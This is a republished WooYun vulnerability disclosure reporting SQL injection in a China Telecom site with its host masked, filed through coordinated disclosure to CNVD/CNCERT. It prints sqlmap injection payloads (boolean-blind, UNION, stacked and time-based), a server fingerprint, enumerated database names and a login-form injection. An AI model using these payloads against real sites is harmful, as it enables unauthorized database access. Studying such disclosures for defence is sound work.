中国电信旗下某站存在SQL注入漏洞

admin
admin
admin
144122
文章
118
评论
2015年6月10日19:46:27评论277 views字数 220阅读0分44秒阅读模式
摘要

2014-09-07： 细节已通知厂商并且等待厂商处理中
2014-09-10： 厂商已经确认，细节仅向厂商公开
2014-09-20： 细节向核心白帽子及相关领域专家公开
2014-09-30： 细节向普通白帽子公开
2014-10-10： 细节向实习白帽子公开
2014-10-20： 细节向公众公开

漏洞概要 关注数(1) 关注此漏洞

缺陷编号： WooYun-2014-75136

漏洞标题： 中国电信旗下某站存在SQL注入漏洞

相关厂商： 中国电信

漏洞作者： 浮萍

提交时间： 2014-09-07 15:35

公开时间： 2014-10-20 15:36

漏洞类型： SQL注射漏洞

危害等级： 高

自评Rank： 15

漏洞状态： 已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源：www.wooyun.org ，如有疑问或需要帮助请联系

Tags标签： 无

1人收藏

漏洞详情

披露状态：

2014-09-07： 细节已通知厂商并且等待厂商处理中
2014-09-10： 厂商已经确认，细节仅向厂商公开
2014-09-20： 细节向核心白帽子及相关领域专家公开
2014-09-30： 细节向普通白帽子公开
2014-10-10： 细节向实习白帽子公开
2014-10-20： 细节向公众公开

简要描述：

绝对是无意的

详细说明：

反编译一个APK文件中发现的一个地址

**.**.**.**/hl/mobile_update.aspx?zongji=961991301

返回的是一段JSON

中国电信旗下某站存在SQL注入漏洞

输入'

中国电信旗下某站存在SQL注入漏洞

注入点**.**.**.**/hl/mobile_update.aspx?zongji=961991301

code 区域 
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
 sts:
 ---
 Place: GET
 Parameter: zongji
     Type: boolean-based blind
     Title: AND boolean-based blind - WHERE or HAVING clause
     Payload: zongji=961991301' AND 2813=2813 AND 'qARE'='qARE
 
     Type: UNION query
     Title: Generic UNION query (NULL) - 1 column
     Payload: zongji=-8805' UNION ALL SELECT CHAR(113)+CHAR(107)+CHAR(112)+CHAR(9
 7)+CHAR(113)+CHAR(78)+CHAR(86)+CHAR(99)+CHAR(106)+CHAR(89)+CHAR(69)+CHAR(111)+CH
 AR(85)+CHAR(120)+CHAR(77)+CHAR(113)+CHAR(109)+CHAR(109)+CHAR(108)+CHAR(113)--
 
     Type: stacked queries
     Title: Microsoft SQL Server/Sybase stacked queries
     Payload: zongji=961991301'; WAITFOR DELAY '0:0:5'--
 
     Type: AND/OR time-based blind
     Title: Microsoft SQL Server/Sybase time-based blind
     Payload: zongji=961991301' WAITFOR DELAY '0:0:5'--
 ---
code 区域 
web server operating system: Windows 2008
 web application technology: ASP.NET, Microsoft IIS 7.5, ASP.NET 2.0.50727
 back-end DBMS: Microsoft SQL Server 2005

数据库

code 区域 
available databases [19]:
 [*] caiwu
 [*] cloudchat
 [*] esurfingTea
 [*] hnssh
 [*] hualian
 [*] HuiYuanDB
 [*] HuiYuanTestDB
 [*] jingwuetong
 [*] jiuguanjia
 [*] jyjxc
 [*] libai
 [*] luomu
 [*] master
 [*] model
 [*] msdb
 [*] PropertyDB
 [*] shoujixuanhao
 [*] tempdb
 [*] wuye

漏洞证明：

**.**.**.**/hl/登录页面

中国电信旗下某站存在SQL注入漏洞

搜索发现另一个页面

中国电信旗下某站存在SQL注入漏洞

**.**.**.**/sale/

中国电信旗下某站存在SQL注入漏洞

用户名输入' having 1=1--

长度有限制，自己修改一下

中国电信旗下某站存在SQL注入漏洞

发现表名字段

中国电信旗下某站存在SQL注入漏洞

修复方案：

版权声明：转载请注明来源 浮萍@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：11

确认时间：2014-09-10 08:59

厂商回复：

CNVD确认并复现所述漏洞情况，已经转由CNCERT通报给中国电信集团公司，由其后续协调网站管理单位处置。

最新状态：

暂无

漏洞评价：

对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分

评价

免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin